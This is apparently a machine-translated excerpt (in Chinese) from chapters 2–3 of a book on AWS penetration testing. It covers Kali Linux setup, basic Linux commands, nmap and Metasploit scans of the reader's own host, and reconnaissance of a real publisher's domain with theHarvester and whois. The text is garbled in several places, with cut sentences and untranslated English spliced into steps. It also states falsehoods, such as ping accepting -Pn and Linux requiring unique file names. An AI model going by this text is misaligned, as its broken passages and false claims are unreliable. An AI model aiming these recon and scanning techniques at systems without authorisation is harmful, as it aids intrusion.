在本章中,我们学会了如何创建一个 AWS 账户,这将允许我们为我们创建一个主机并在本书中的后续部分进行渗透测试。我们必须了解如何在 AWS 中创建实验室是至关重要的,主要是因为这是我们在本书中进行测试的唯一方式,以及在现实生活中的情况下。我们学到了什么是 EC2 实例,以及如何使用各种操作系统设置实例,帮助我们理解在现实世界的渗透测试情况下我们将看到的各种操作系统的重要性。我们学到了如何在我们的主机中设置易受攻击的服务,以及关于渗透测试和 AWS 安全方面的漏洞的含义。最后,我们学会了如何快速设置 AWS CLI 以便与我们的 AWS 资源进行交互。

在下一章中,我们将更多地了解 Kali Linux,它的一些历史,以及我们将如何在整本书中使用它,以及它与渗透测试的关系。

更多阅读

第二章:渗透测试和道德黑客

以下章节讨论了渗透测试,也称为渗透测试。渗透测试是在 20 世纪 60 年代出现的一种与计算机有关的事物。随着计算机系统开始更多地分发数据,确保数据的安全变得至关重要。在讨论了通信线路如何被渗透后,建议使用某种类型的“渗透评估”来评估计算机系统和通信线路的“真实威胁”评估。进入 20 世纪 70 年代初,虎队成为了第一个渗透测试团队,并执行了类似于本书中将看到和阅读到的战术。这些虎队的主要责任是发现漏洞,并根据手动利用发现的漏洞来评估威胁影响级别。

快进到今天,渗透测试的世界越来越受欢迎,并且正在成为评估公司基础设施和安全状况的常见方式。企业雇佣渗透测试人员来合法地黑客攻击他们的公司,并突出显示弱点。渗透测试的目的是让善良的人在坏人发现之前知道漏洞。

在我们深入了解 AWS 之前,我们将学习关于网络安全渗透测试的部分,以及成功执行渗透测试意味着什么,为我们在本书中的工作奠定基础。我们需要理解它,这样我们才能像渗透测试人员一样思考,并以这种思维过程来阅读本书。毕竟,要了解敌人,你必须像敌人一样思考。

在本章中,我们将简要介绍渗透测试的定义。然后,我们将在自己的机器上本地设置 Kali Linux 系统,并探索操作系统上安装的工具。不要担心没有 Linux 经验;本章将涵盖您需要了解的一切。我们还将介绍一些渗透测试工具,并在需要时安装一些工具。我们还将学习如何编写一个基本的脚本,可以针对我们自己的主机运行。

在本章中,我们将涵盖以下主题:

  • 什么是渗透测试?

  • Kali Linux

  • Linux 命令

  • 渗透测试工具

  • 操作系统

技术要求

要按照本章的说明进行操作,您需要以下内容:

本章中使用的代码可在以下链接找到:github.com/PacktPublishing/AWS-Penetration-Testing/tree/master/Chapter%202:%20Pentesting%20and%20Ethical%20Hacking

查看以下视频以查看代码的实际操作:bit.ly/386jRrY

什么是渗透测试?

“渗透测试人员”这个职业头衔是一个有趣的职业头衔。虽然这个职业头衔可能是一个不错的谈话开场白,尽管有些有趣的评论,但渗透测试可以是网络安全领域内最有价值的职业之一。那么,什么是渗透测试,或者渗透测试?

渗透测试是通过手动和自动利用评估系统的攻击面。这涉及使用多个来源发现和利用系统内的问题。一个系统是由人员、机制、软件和政策组成的实体(系统)。

另一种看待渗透测试的方式是,它突出了系统的工作方式,并揭示了使其暴露于黑客攻击的漏洞,使漏洞能够在对手利用之前得到纠正。这使人员了解他们的技术、其安全性以及攻击者如何思考和利用这些系统。在今天的环境中,对手总是与公司玩猫鼠游戏。渗透测试人员的工作是确保这些系统有更有技能的猫来猎捕恶意的老鼠。

在坏人之前找到关键问题

不出现在新闻中是游戏的名字,渗透测试是帮助公司留在游戏中的过程。正如我们许多人所见,新闻喜欢报道被网络犯罪分子攻击的公司。这些攻击给公司造成了数百万美元的损失,同时也损害了它们的声誉。许多这些公司都是小公司,它们恢复的机会较小。事实上,60%的小企业在遭受网络攻击后的 6 个月内倒闭。渗透测试是一种高水平的质量保证检查,确保公司可以关闭其攻击面的漏洞并在被利用之前解决问题,最终使它们远离新闻,并避免遭受严重的经济后果。

渗透测试方法

了解渗透测试所涉及的步骤是至关重要的。对参与的了解不仅让您了解您的业务内部如何执行安全操作,还提供了攻击者可能实际尝试利用您的系统的正式表现。

以下是渗透测试参与过程中所采取的步骤的压缩列表:

  1. 规划 渗透测试是渗透测试中最关键的阶段之一。在这个阶段,您需要合法和逻辑地制定整个计划。确定参与范围并设定目标。

  2. 您将在侦察阶段收集信息。这将涉及您 passively 或 actively 查找信息。

  3. 威胁建模依赖于您收集测试期间收集的所有数据,并使用这些数据来给出系统的视图,突出其测量的威胁。

  4. 测试和利用 涉及您探测先前测试中发现的漏洞。如果探测被验证为成功,那么利用漏洞就开始了。利用漏洞可以通过多种方式进行。您可以通过向 Web 应用程序发送意外输入、使用自动化工具和利用程序,以及/或执行手动利用等常见方式来进行。

  5. 当您进入后渗透阶段时,您将保持持久性并执行横向移动和数据外泄。此外,保持隐秘并掩盖您的踪迹是执行的良好实践。保持隐秘允许蓝队测试检测和响应。

  6. 报告 是测试中最关键的部分。提交出色的报告确保客户/被测试公司了解发现的问题以及如何在渗透测试参与过程中发现的问题进行缓解。

虽然我们已经了解了渗透测试的一般步骤,但我们还需要了解不同的方法,接下来我们将会看到。这些方法是可以通过渗透测试执行的渗透测试的“风格”。这些风格使用外部人员或内部人员的方法,并且在今天的常见渗透测试实践中使用!

渗透测试的类型

在规划渗透测试时,了解您想要遵循的方法是很重要的。让我们来看一下一般的方法:

  • 黑盒:这种测试类型涉及对范围内目标进行评估,但对范围内系统和应用程序的内部工作一无所知。通常,它可以被视为对系统功能要求的验证。例如,客户将开发一个新应用程序,并要求在用户级别执行测试。

通常,用户对应用程序的内部工作一无所知,只使用它的功能属性 - 这意味着可能需要进行功能测试。功能测试旨在突出任何有人可能发现的应用程序中的漏洞。

  • 白盒:白盒测试是你在现实世界中看到的最常见的测试方法。它涉及对系统进行全面了解的测试。将其视为质量保证或测试系统的每一个可能的细节,以确保它不容易受到攻击。白盒测试是发现和验证源代码和系统设置内部的一个很好的方法。通常,在新产品(应用程序、硬件等)被整合到业务之前,会执行白盒测试。在本书中,我们将一直进行白盒测试。

  • 灰盒:简单来说,这是黑盒测试和白盒测试的混合体。一个很好的例子是测试一个 Web 应用程序。测试人员将完全了解 Web 应用程序的前端,但对后端几乎一无所知。

优点和缺点

  • 我们已经探讨了各种测试风格,让我们在继续之前先看看它们的优缺点。每种测试风格都有最佳的时间和地点,我们将在下面看到这些条件。

优点

白盒测试具有以下优点:

  • 由于发现所需的时间较少,因此速度快

  • 由于时间限制较少,价格便宜

  • 允许测试人员有更多时间查看深层功能方面,如代码审查

黑盒测试具有以下优点:

  • 由于测试人员必须模拟真实的威胁向量,因此提供更可靠和现实的结果

  • 通过钓鱼活动突显最终用户的弱点

灰盒测试具有以下优点:

  • 使用白盒测试和黑盒测试的组合

  • 允许创造性,不受一种测试风格的约束

现在我们已经看过了优点,让我们继续看看每种测试类型的缺点。

缺点

白盒测试具有以下缺点:

  • 通常,白盒测试不会根据真实的攻击者场景提供结果。

  • 如果计划不周,可能会很头疼。通常,白盒测试没有准备好,测试开始时会缺少很多信息。例如,当白盒测试开始时,目标业务往往会忽视某些东西,并忘记渗透测试的特定资源。这是需要注意的事情,并且在第十章**,渗透测试最佳实践中有更多讨论。

  • 这样的测试可能会提出有偏见的意见,因为测试人员已经对环境了解一切。

黑盒测试具有以下缺点:

  • 因为测试人员需要花时间获取访问权限,所以耗时。

  • 根据参与的长度,可能会很昂贵。

灰盒测试具有以下缺点:

  • 根据渗透测试的范围和渗透测试的知识程度,可能会耗费时间。

  • 根据测试的长度,可能也会很昂贵。

  • 现在我们已经对渗透测试有了一个很好的概述,让我们下载 Kali Linux 的 VirtualBox 镜像,并设置操作系统,以便我们可以用它与我们的 AWS 环境进行交互。

Kali Linux

Kali Linux 是一个 Debian 发行版,由 Offensive Security(www.offensive-security.com)免费提供。由于安全性的日益重要,Kali Linux 在过去几年中变得很受欢迎。事实上,对于从事渗透测试的任何人来说,它都是必不可少的。这是因为操作系统预装了一系列安全工具,无需手动安装。

在本节中,我们将学习如何在本地设置我们自己的 Kali Linux 镜像。这个练习的目的是让我们更加熟悉 Kali,并教会您如何设置自己的虚拟机。我们还将在本书中使用这个 Kali 实例与 AWS 进行交互。

设置 Linux 镜像

设置 Kali Linux 很容易。按照这里给出的步骤进行:

  1. 我们需要去 Offensive Security 网站上获取一个 Kali 镜像。确保您获取的是 VirtualBox 的Kali Linux 64 位版本https://www.offensive-security.com/kali-linux-vm-vmware-VirtualBox-image-download/。

  2. 在下载的同时,让我们去下载一个新版本的 VirtualBox。VirtualBox 将是我们构建和托管 Kali 机器的地方:https://www.VirtualBox.org/wiki/Downloads。

  3. 按照说明安装 VirtualBox。安装步骤将根据您的主机操作系统而有所不同。

  4. 启动 VirtualBox,转到左上角,单击导入虚拟设备...,列在文件下方:图 2.1 - 选择导入虚拟设备的文件菜单

图 2.1 - 文件菜单中选择导入虚拟设备...

  1. 在那之后,您需要导入我们在步骤 1中下载的 Kali Linux .ova文件。.ova文件是一个 VirtualBox 格式的文件,它允许我们将虚拟镜像直接导入到 VirtualBox 中,几乎没有任何努力:图 2.2 - 导入 Kali Linux .ova 文件

图 2.2 - 导入 Kali Linux .ova 文件

  1. 选择新镜像后,您需要更改虚拟机的名称。在这种情况下,我们将名称更改为AWS Kali。如果您将名称更改为其他内容,请确保记住您的命名,以便在本书中使用 Kali Linux 机器。我们还关闭USB 控制器功能,因为我们不会使用它:图 2.3 - 虚拟设备设置窗口

图 2.3 - 虚拟设备设置窗口

  1. 现在让我们启动我们的 Kali Linux 虚拟机。为此,请双击您创建的主机。虚拟机将启动并提示您进行用户登录:图 2.4 - Kali Linux 启动屏幕

图 2.4 - Kali Linux 启动屏幕

  1. 要登录,请使用以下凭据:

用户名:root

密码:toor

现在我们已经登录到了 Kali 机器,让我们熟悉一些基本的 Linux 命令,这些命令将帮助我们在本书中进行操作。了解这些命令的作用很重要,因为它允许您在 Kali Linux 机器以及其他 Linux 发行版中进行操作。

探索基本的 Linux 命令

由于我们正在使用 AWS 和 Kali Linux,了解一些基本的 Linux 命令很重要。您将使用许多工具,这些工具需要使用终端。因此,了解如何运行基本命令至关重要。我们将使用我们在本地设置的新 Kali Linux 镜像来发现一些新的命令。

  1. 当您的 Kali 实例启动并运行时,让我们登录并创建一个目录。为此,您需要输入mkdir命令。这个命令允许我们创建可以存储信息的目录。让我们把目录命名为Pentesting
$ mkdir Pentesting
  1. 之后,您需要进入该目录,但在这之前,我们需要知道我们当前正在工作的目录是什么。使用pwd命令打印出您当前的目录。使用cd命令进入Pentesting目录:
$ cd Pentesting 
  1. 现在我们有了目录,让我们创建一个.txt文件,以便以后在本书中添加笔记。键入touch命令以创建一个名为notes.txt的文件:
$ touch notes.txt
  1. 现在我们已经创建了一个文件,让我们在其中放一些实际的笔记。我们将使用echo命令将一些文本输出到我们的notes.txt文件中。之后,我们将使用cat命令列出文件中的单词。cat命令打印文件的内容,还可以用于将两个文件连接在一起。之后,我们将创建另一个名为notes2.txt的文件,并将其与notes.txt组合成一个文件。

  2. 让我们将一些文本输出到notes.txt中:

$ echo "I love pentesting!" > notes.txt
  1. 现在使用cat命令列出上下文:
$ cat notes.txt
  1. 现在让我们创建另一个文件,并一次性添加一些文本:
$ echo "And I love AWS!" > notes2.txt
  1. 然后,我们将组合notes.txtnotes2.txt以形成一个文件:
$ cat notes.txt notes2.txt > AWSPentesting.txt

您应该有类似以下内容的东西:

图 2.5 - 组合 notes.txt 和 notes2.txt 的输出

图 2.5 - 组合 notes.txt 和 notes2.txt 的输出

恭喜!您现在已经学会了在 Linux 操作系统中创建目录和文件。虽然这些命令很重要,但并非我们需要了解的所有命令。现在,我们将看一些其他命令,这些命令在我们阅读本书并了解更多关于 AWS 和渗透测试时是很重要的。

其他命令

在阅读本书时,我们需要了解的一些其他命令如下:

  • ls:这个命令表示“列出”,用于列出目录的内容。

  • rm:此命令表示“删除”,并从目录中删除文件。

  • mv:此命令将文件从一个目录移动到您指定的另一个位置。

  • ping:这个命令不仅适用于 Linux,而且是一个很好的命令。ping命令向主机发送回显请求,希望收到回显响应。它与主机通信,以查看它们是否在线。但是,有时主机会禁用 ping,使它们看起来离线。如果发生这种情况,我们可以在ping中使用-Pn开关。

  • ifconfig:这允许您查看正在运行的网络接口。使用 Kali,运行ifconfig通常会显示eth0接口,该接口通常路由或连接到您的主网络接口卡NIC)。

在本节中,我们探索了 Linux 中的基本命令。这些命令将帮助我们有效地使用 Linux,以便我们能够跟上本标题中的课程。接下来,我们将开始探索将帮助我们学习渗透测试的渗透测试工具。

渗透测试工具

在渗透测试中,您将拥有大量的工具可供选择,以满足您的所有需求。除了使用手动测试、自动化测试甚至编写自己的脚本之外 - 我们将在本书中进行 - 在测试方面的创造力真的是无限的。

虽然我鼓励您查看 Kali Linux 中的工具,但我们还将简要介绍一些我们将在本书中经常使用的工具。在本节中,让我们看一看 NMAP 和Metasploit。这两个工具在扫描和探测服务和漏洞时提供非常准确的结果。我们还将简要介绍AWS Inspector,这是一个在 EC2 实例上进行漏洞分析的绝佳工具。

NMAP

NMAP 是一个在 Kali Linux 中预先安装的精彩工具。它是一个开源工具,通常被网络管理员使用,但由于其能够同时发现多个主机上的服务和开放端口的能力,它在渗透测试中变得越来越受欢迎 - 这通常被称为端口扫描。

端口扫描是通过探测特定端口来进行的,如果该端口是开放的,就会返回有关该端口的信息。还有各种脚本可以从 NMAP 运行,告诉你扫描的主机是否容易受到特定问题的影响。还记得我们在[第一章](B15630_01_Final_ASB_ePub.xhtml#_idTextAnchor025),构建您的 AWS 环境中设置了一个匿名服务器吗?我们可以使用以下脚本来检测匿名 FTP 登录:

$ nmap -sV -sC -p 21 <Victim IP> 

让我们分解命令以更好地理解发生了什么。我们将按顺序分解开关:

  • -sV开关列举了服务的版本。这意味着扫描输出将传达正在使用的 FTP 版本。

  • -sC开关用于与扫描一起使用脚本。在这种情况下,它将检查匿名 FTP。

  • -p开关表示要扫描的端口。在我们的情况下,我们只使用了端口21,因为我们只是探测端口21。但是,我们可以扫描多个端口。

随着我们在本书中的进展,我们将更多地发现和使用 NMAP。与此同时,请随意查看更多有关 NMAP 的功能。请访问www.nmap.org获取更多信息。

AWS Inspector

AWS Inspector 是您的 AWS 环境中可用的工具,它在 AWS 云环境中的 EC2 实例上运行自动化安全评估。该扫描程序检查常见的漏洞、曝光和最佳实践 - 修复措施 - 这将使您能够安全快速地加固您的环境。AWS Inspector 的缺点是有服务费用,因此我们将在本书中避免使用它。但是,欢迎阅读有关该服务的更多信息。

Metasploit

我们在[第一章](B15630_01_Final_ASB_ePub.xhtml#_idTextAnchor025),构建您的 AWS 环境中提到了 Metasploit,并学习了如何通过我们的 AWS Kali 实例更新它。鉴于我们在[第一章](B15630_01_Final_ASB_ePub.xhtml#_idTextAnchor025),构建您的 AWS 环境中学到的有关 Metasploit 的知识,让我们快速看一下它的一些特性。我们将访问我们的本地实例进行此练习:

  1. 在我们做任何事情之前,我们需要以与之前相同的方式更新 Metasploit,在[第一章](B15630_01_Final_ASB_ePub.xhtml#_idTextAnchor025),构建您的 AWS 环境中:
$ apt install metasploit-framework 
  1. 一旦您完成了更新 Metasploit,就可以开始启动程序了:
$ msfdb run
  1. 现在 Metasploit 正在运行,让我们在我们自己的主机上测试一下端口扫描模块。这将帮助我们了解一些 Metasploit 命令的语法。在开始之前,我们需要在我们的主机上启动 SSH。要开始,请打开一个新的终端并输入以下命令以启动 SSH:
$ service ssh start
  1. 为了确保服务正在运行,我们可以输入以下命令:
$ service ssh status

如果一切正常运行,您应该看到类似于以下截图中的输出:

图 2.6 - 启动 SSH 的输出

图 2.6 - 启动 SSH 的输出

现在我们已经启动了 SSH,让我们看看我们可以用它和 Metasploit 做些什么:

  1. 回到您打开 Metasploit 的终端,并使用search命令查找 TCP 端口扫描程序。语法应该类似于search TCP portscan。其中的一个最初的结果将是auxiliary/scanner/portscan/tcp。让我们使用它来扫描我们的机器:
$ use auxiliary/scanner/portscan/tcp
  1. 加载模块后,键入options命令以查看我们需要设置的参数。options命令列出了模块的所有参数。不同的模块将有不同的需要设置的参数:图 2.7 - 选项命令的输出

图 2.7 - 选项命令的输出

  1. 在本章中,我们唯一需要设置的参数是RHOSTS。现在,RHOSTS代表ifconfig命令来发现您的机器的 IP。在这种情况下,我的机器的 IP 是192.168.1.5图 2.8 - 运行 ifconfig 的输出

图 2.8 - 运行 ifconfig 的输出

  1. 现在您知道了您的机器的 IP,键入以下命令将其分配给RHOSTS参数:
$ set RHOSTS 192.168.1.5
  1. 由于这是我们需要的唯一参数,请继续使用run命令来针对我们的主机启动模块。它应该会发现 SSH 有一个开放的端口:

图 2.9 - 使用运行命令的输出

图 2.9 - 使用运行命令的输出

正如你所看到的,它显示端口22是开放的!查看命令的输出显示主机扫描已经完成 100%,并显示22 - TCP OPEN

就像那样,我们现在知道如何在 Metasploit 中设置扫描模块。我们将在整本书中经常使用 Metasploit,并且我们将在第九章**,使用 Metasploit 进行真实渗透测试等!中使用它整整一章。现在我们知道了一些关于使用 Metasploit 的知识,让我们继续看看脚本编写。

脚本编写

脚本编写是道德黑客和渗透测试的重要-甚至是必不可少的-部分。有时您可能会遇到工具运行不好,或者您可能只需要编写一个快速脚本来测试应用程序或服务。如果有疑问,编写一个脚本将帮助您实现所需的结果。我们将使用PyCharm中的 Python 编程来看一些非常基本的脚本编写。

PyCharm 是一个允许您构建和运行自己代码的 IDE。IDE 与使用终端和文本编辑器的区别在于软件中打包的内置故障排除。无需寻找语法错误;在运行代码之前,IDE 将突出显示问题。本节将介绍在本地 Kali 实例上安装 PyCharm 并创建一个 Python 脚本,我们可以在一两步中进行调试。如果您以前从未编写过脚本,不要感到不知所措;这个基本脚本将为我们提供前进 Python 所需的一般知识和语法:

  1. 首先,我们需要在本地 Kali 机器上安装 PyCharm。为此,您需要获取当前的下载,您可以从 JetBrains 获取:www.jetbrains.com/pycharm/download/

  2. 下载免费的社区版,然后将其移动到我们的工作文件夹中:

$ mv <PyCharm> <working directory>
  1. 一旦移动过去,你会想继续提取文件夹中的所有内容,然后将其移动到/opt文件夹中:
$ sudo tar xfz <pycharm.tar.gz> -C /opt/
  1. 现在我们已经提取了它,我们可以继续并运行程序。要开始,请进入/bin文件夹并运行以下命令:
$ ./pycharm.sh
  1. 安装 PyCharm 后,创建一个新项目并命名为Script。这将是我们的工作文件夹,我们可以在整本书中制作所有我们的脚本。随意给您的文件夹取任何您喜欢的名字,但请确保您记住名称和存储位置:图 2.10 - 在 PyCharm 中创建一个新项目

图 2.10 - 在 PyCharm 中创建一个新项目

  1. 现在我们有了一个文件夹,让我们创建一个名为1的程序。这将自动将文件存储为1.py。要开始,请右键单击文件夹并创建一个新文件。然后,为它分配一个名称;在这种情况下,为它分配名称1。点击statement变量具有与if条件匹配的文本。让我们看看如果将声明更改为Hello World!会发生什么:
#!/usr/bin/python
statement = "Hello W0rld!"
if statement == "Hello World":
   print statement
else:
   print"That statement is not correct"

很可能你会得到另一个声明该声明不正确。这是由于变量的语法与if语句设置的条件不匹配。条件应该是“Hello World”,而不是“Hello World!”-因此使条件无效。

花些时间了解 Python 的工作原理。有许多资源可以突出 Python 的基础知识以及其在安全和渗透测试中的用法。在本书的后面,我们将发现如何使用 Python 为我们的 AWS 环境编写脚本的方法。

操作系统

在您的渗透测试旅程中,您将遇到多种不同的操作系统。各种操作系统具有不同的用途,包括作为服务器、主机客户端或云环境。了解这些各种操作系统很重要,因为您需要了解它们在其环境中的工作方式。在本节中,我们将讨论渗透测试时应该了解的 Linux 和 Windows 系统的一些方面。

Linux/Unix

Linux 是基于 Unix 平台的开源操作系统。它出现在我们目前使用的许多设备和服务器上,因此重要的是您了解一些基本知识。它是开源的,因此具有开放的协作平台,允许其他开发人员对其进行工作,这意味着您可以添加自己的代码和错误修复。

Linux 有许多不同的操作系统“风味”,例如 Debian - Kali 就是其中之一,Fedora 和 Ubuntu 等。在您的 IT 职业生涯中,甚至在本书中,都可能会遇到其中一些系统!

Linux 文件权限

了解 Linux 文件系统的工作原理很重要。Linux 文件系统被称为扁平文件系统,这意味着操作系统中的每个文件必须具有不同的名称。操作系统中的文件具有三种不同的权限可以设置:

  • 读取:允许用户读取文件

  • 写入:允许用户写入文件

  • 执行:允许用户执行程序

这很重要,因为有时您需要了解或设置文件的权限。在渗透测试中,您将遇到需要编辑然后设置为可执行文件的开源工具。chmod命令允许您更改文件的权限以使其成为可执行文件。例如,如果我们有一个名为pentest.py的文件,并且需要将其设置为可执行文件,我们可以使用以下命令创建可执行文件:

$ chmod +x pentest.py

有时,您可能没有权限运行此类程序。您可能需要额外的特权来运行命令,甚至在某些目录中移动。要解锁这些特权,让我们谈谈超级用户

sudo

sudo代表superuser do,将以超级用户身份运行其后的任何命令:

$ sudo chmod +x pentest.py

所有sudo用户都存储在/etc/sudoers文件路径中,只能通过使用visudo命令进行编辑。随时可以在本地 Kali 实例中检查文件路径。

现在我们对 Linux 有了更多了解,让我们来看看我们生活中曾经使用过的操作系统之一:Windows 操作系统。

Windows

Windows 是每个人在生活中很可能都使用过的操作系统。它是最常见的家庭用户操作系统,通常用作许多不同公司的用户操作系统。虽然该操作系统易于使用,具有令人惊叹的桌面环境,一切都可以通过点击和拖动来完成,但由于漏洞和新版本中的某些 UI 和 UX 决策,该操作系统在近年来遭受了一些抨击。

多年来,许多不同的漏洞利用已针对 Windows 操作系统。例如,有EternalBlue,一种攻击服务器消息块服务的漏洞利用,允许攻击者访问受害者的系统。实际上,这种漏洞利用被用于利用系统,然后使用这些系统作为勒索软件有效载荷的服务器,几年前造成了许多麻烦。

多年来,其他漏洞和问题也已经被发现针对 Windows 系统。EternalBlue 只是一个例子,但是一个重要的例子,突出了为什么补丁和安全性如此重要。如果 Windows 系统存在漏洞,可能会在大规模上造成问题。

图形用户界面

Linux 和 Windows 之间最大的区别之一是终端中的“kali-undercover”。

摘要

本章涵盖了相当多的内容,所以如果有需要,请返回查看。我们学习了什么是渗透测试,以及如何在我们的机器上本地设置 Kali Linux 并在操作系统中使用各种工具,我们还研究了各种操作系统。

在下一章中,我们将进入本书的下一部分,并开始研究 AWS 以及如何在我们自己的环境中进行渗透测试和安全评估。

进一步阅读

第二部分:云渗透测试 - 利用 AWS

第 2 节旨在介绍如何在受控的 AWS 环境中执行渗透测试。您将学习如何对各种 AWS 资源进行渗透测试,还将学习如何使用公共渗透测试工具来利用 AWS 中常见的漏洞和配置错误。

本节包括以下章节:

  • 第三章, 探索渗透测试和 AWS

  • 第四章, 利用 S3 存储桶

  • 第五章, 理解易受攻击的 RDS 服务

  • 第六章, 设置和渗透测试 AWS Aurora RDS

  • 第七章, 评估和渗透测试 Lambda 服务

  • 第八章, 评估 AWS API 网关

  • 第九章, 使用 Metasploit 等进行真实渗透测试!

第三章:探索渗透测试和 AWS

欢迎来到旅程的下一部分。在这里,我们将开始应用我们从前两章中学到的知识,并开始进一步了解有关渗透测试和 AWS 的知识。重要的是您理解前两章,因为我们将在本书中构建更多实例,并将使用您在第二章**,渗透测试和道德黑客中阅读到的渗透测试方法。

在本章中,我们将专注于从我们构建的主机以及其他一般系统中扫描和枚举信息的含义。扫描和枚举是渗透测试中最重要的步骤之一,因此我们必须沿着侦察的道路前行,以了解各种枚举和了解我们的枚举策略。我们还将了解渗透测试和对抗性评估以及心态中的各种攻击路径。重要的是要理解,侦察和枚举在创建可能导致客户妥协并暴露之前管理员可能忽视的威胁的攻击路径中起着重要作用。

在本章中,我们将学习以下内容:

  • 侦察

  • 枚举和 AWS 服务

  • 扫描和检查目标

  • 创建攻击路径

  • SSH 密钥

  • 扫描和连接到 AWS

  • 从经验中学习

技术要求

要按照本章的说明进行操作,您将需要以下内容:

查看以下视频以查看代码的实际应用:bit.ly/3eicsXx

探索侦察

侦察,通常也被称为侦察,涉及使用工具来收集有关目标的信息,这些信息可以用来对目标获得优势。侦察使您可以像詹姆斯·邦德一样行事,并允许您收集有关目标的情报。如第二章**,渗透测试和道德黑客中所述,在白盒测试中,测试人员将了解有关目标的一切。最好使用搜索客户可能忘记告诉您的信息的工具,或者让我们查看客户可能认为不重要的开放源信息。各种组织将确定什么是重要的,什么不重要-这不是“一刀切”的交易。让我们讨论一种简单的侦察方法,可以应用于大多数组织。

驱动枚举以进行侦察

在进行成功的侦察时,您必须确保尽可能多地发现信息。这意味着您需要寻找对客户有影响的事物,并继续搜索,直到您获得足够的信息以继续前进。结果因渗透测试而异,因此您必须根据“足够”信息的判断。以下是进行基本侦察和信息收集的基本方法:

  • 查找有关目标网站的信息。查找电子邮件地址,电话号码以及任何可用于直接联系客户的信息。

  • 使用其他工具自动化发现信息的过程,例如 DNS,开放的 S3 存储桶,员工姓名,电话号码,电子邮件地址,街道地址等等!

  • 使用您选择的工具记下笔记,以便稍后在您的渗透测试中使用。

按照这些步骤将允许你对客户或目标执行适当的侦察,并帮助你创建一个更好的攻击路径,从而导致对整个系统的完全妥协。现在我们已经讨论了这些步骤,让我们来看看一些我们可以用于侦察的工具。

重要提示

在渗透测试过程中,你会发现各种服务器的记录。虽然这与本书无关,但了解不同的记录类型是很有好处的。在这里查看更多信息:docs.aws.amazon.com/Route53/latest/DeveloperGuide/ResourceRecordTypes.html

收集电子邮件地址

在渗透测试过程中收集电子邮件地址可能非常重要。收集电子邮件地址可以让你看到谁在目标公司工作,以及如何直接联系他们。攻击者使用这种方法来钓鱼组织,并试图诱使用户登录到一个假网站或点击某种恶意软件。对于渗透测试,我们使用它来全面了解公开的情况,以便与客户讨论,除非目标明确要求进行钓鱼。

我们将使用一个名为theHarvester的工具来执行这个任务。theHarvester 允许我们通过查询特定的数据库来收集有关目标的各种信息。在我们的案例中,我们将以公司 Packt Publishing 为目标,看看我们能找到什么。

要开始,请按照以下步骤操作:

  1. 打开你的 Kali Linux 机器。

  2. 在机器上打开一个终端。

  3. 输入以下命令:

theHarvester command, you'll see a list of names that have been retrieved from LinkedIn based on individuals that work with or for Packt Publishing. An attacker could use this list to gather more information, such as emails, phone numbers, and even physical addresses: ![Figure 3.1 – Output from theHarvester    ](https://gitee.com/OpenDocCN/freelearn-sec-zh/raw/master/docs/aws-pentest/img/Figure_3.01_B15630.jpg)Figure 3.1 – Output from theHarvesterAs you can see, we didn't manage to find any emails, but we did discover some employees. Now that we know employees' names, let's see what we can query using two popular search engines. 
  1. 我们将使用 Google 和 Yahoo 来查询信息:
$ theHarvester -d packtpub.com -l 100 -b yahoo,google

与之前的尝试一样,我们正在使用 theHarvester 来帮助我们找到我们或攻击者可以用来帮助映射攻击路径的现成信息。在这种情况下,我们正在使用该工具来查找任何潜在的域和 IP 地址,以便映射潜在的攻击:

图 3.2 - 来自 Google 和 Yahoo 的 theHarvester 输出

图 3.2 - 来自 Google 和 Yahoo 的 theHarvester 输出

正如你所看到的,我们找到了一个可以用于联系的电子邮件地址,以及一些我们以后可以攻击的主机。所有这些信息在你的渗透测试过程中或渗透测试后的报告中都会证明有益。向客户提供 theHarvester 收集的数据等信息,可以展示组织外部的情况。

现在我们已经收集了姓名、电子邮件和主机等信息,让我们来看看一些工具,我们可以用来发现 DNS 信息。

WHOIS 命令

DNS 名称在这些域名注册后分配给 IP 地址。例如,foo.com可能使用WHOIS命令来从公共或内部备用处发现这些信息。使用该命令可以揭示有关域名、注册这些域名的人、ISP 联系人以及攻击者可以用来创建对目标的深入攻击路径的其他有用技术信息。

让我们快速看一下如何使用 WHOIS 来查找有关一个组织的一些信息。在这种情况下,我们将以 Packt Publishing 为目标,看看我们能发现关于他们的什么信息。接下来的步骤将说明如何正确执行这个任务:

  1. 启动你的 Kali Linux 机器。

  2. 打开终端。

  3. 输入以下命令:

$ whois packtpub.com

让命令运行一会儿后,你应该会看到有关域的信息结果出现:

图 3.3 - 从 WHOIS 检索的 DNS 信息

图 3.3 - 从 WHOIS 检索的 DNS 信息

WHOIS 将允许渗透测试人员收集有关客户域的信息,他们可以利用这些信息制定攻击路径,以针对特定的主机,如 Web 服务器或域控制器。此外,您可以通过 WHOIS 命令或使用 Netcraft 命令收集 AWS 区域的信息,我们将在下面讨论。

Netcraft

Netcraft是一个很好的资源,当试图查找有关特定目标的任何公共信息时使用。该工具允许人员通过搜索单个主机来查找多个域。从查询结果中得到的一些信息可能包括:

  • IP 地址

  • 域名服务器

  • 反向 DNS

  • 网络块所有者

  • DNS 管理员

  • 域名注册

  • AWS 区域

我建议在对组织进行渗透测试时始终运行 Netcraft。这是一个很棒的工具,它有一个图形用户界面,可以为您生成报告,不像 WHOIS。此外,在进行黑盒测试时,它可以向您显示与目标域名相关的 AWS 信息,并向您显示客户公司可能忽视的信息。

在这里了解更多关于 Netcraft 的信息:www.netcraft.com

现在我们已经讨论了一些快速有效的方法,可以找到有关我们目标的信息,让我们开始更多地了解如何开始对 AWS 服务进行侦察。

列举和理解 AWS 服务

列举是在对目标进行侦察期间收集有价值的特征信息的过程。列举涉及执行侦察和扫描目标。这意味着获取有关服务、域名、端口等的信息。虽然我们一直在通过收集开源信息来进行列举,但让我们快速看一下我们可能在 AWS 渗透测试期间针对或遇到的一些 AWS 服务。讨论这些服务可以让我们在开始利用它们之前更多地了解我们的目标。

重要提示

有关列举的更多信息,请查看渗透测试标准:www.pentest-standard.org/

S3 存储桶和发现带有 Web 应用程序的开放存储桶

S3 存储桶是 AWS 提供的一个很好的资源。S3 存储桶充当“容器”,允许用户在其中存储对象或数据,并且只要用户有适当的权限访问数据,就可以随时检索数据。虽然我们在本章不会深入研究 S3,但是了解对 S3 资源进行侦察是 AWS 渗透测试的一个重要部分是很有必要的。我们将在第四章**,利用 S3 存储桶中更深入地了解 S3。然而,让我们看一下如何公开查询缺乏安全控制的 S3 存储桶。

在 AWS 环境中,开放的 S3 存储桶是发现的较大问题之一。这些类型的漏洞过去曾经给组织带来了压力和负面影响,并且有一些公司甚至因为开放的 S3 存储桶而遭受了损害并成为新闻头条。我们可以通过使用一个叫做Grayhat Warfare的工具来帮助我们的目标防止这种情况。

